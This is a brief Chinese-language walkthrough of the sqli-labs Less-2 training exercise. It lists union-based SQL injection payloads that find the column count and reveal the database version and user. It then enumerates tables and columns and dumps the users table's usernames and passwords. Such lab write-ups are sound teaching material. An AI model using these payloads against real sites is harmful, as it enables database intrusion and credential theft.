sqli-labs Less-2

Less-2 GET - Error based - Intiger based
1.原页面
2.?id=1
3.?id=1’
‘’LIMIT 0,1’ --> ‘ ‘LIMIT 0,1 ‘ --> ‘LIMIT 0,1 --> 因为我们输入的是id=1’ 也就是input=1’ 所以可以判断其为 input LIMIT 0，1

SQL:Select login_name,password from admin where id = input limit 0,1

4.查询字段
?id=1 order by 4–+
?id=1 order by 3–+
找到最大的不报错的数字，可以判断该表的字段长度为3

5.查询回显点
?id=0 union select 1,2,3–+
6.查询数据库版本信息
?id=0 union select 1,version(),3–+

7.查询数据库和用户
?id=0 union select 1,database(),user()–+

得知数据库名为security

8.查询表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3–+
得到security数据库的所有表名，我们拿users

9.查询列名
?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3–+

得到users表里所有列名，拿username,password

10.查询用户名和密码
?id=0 union select 1,group_concat(username,0x3a,password),3 from users–+
注：0x3a ‘:’字符的十六进制值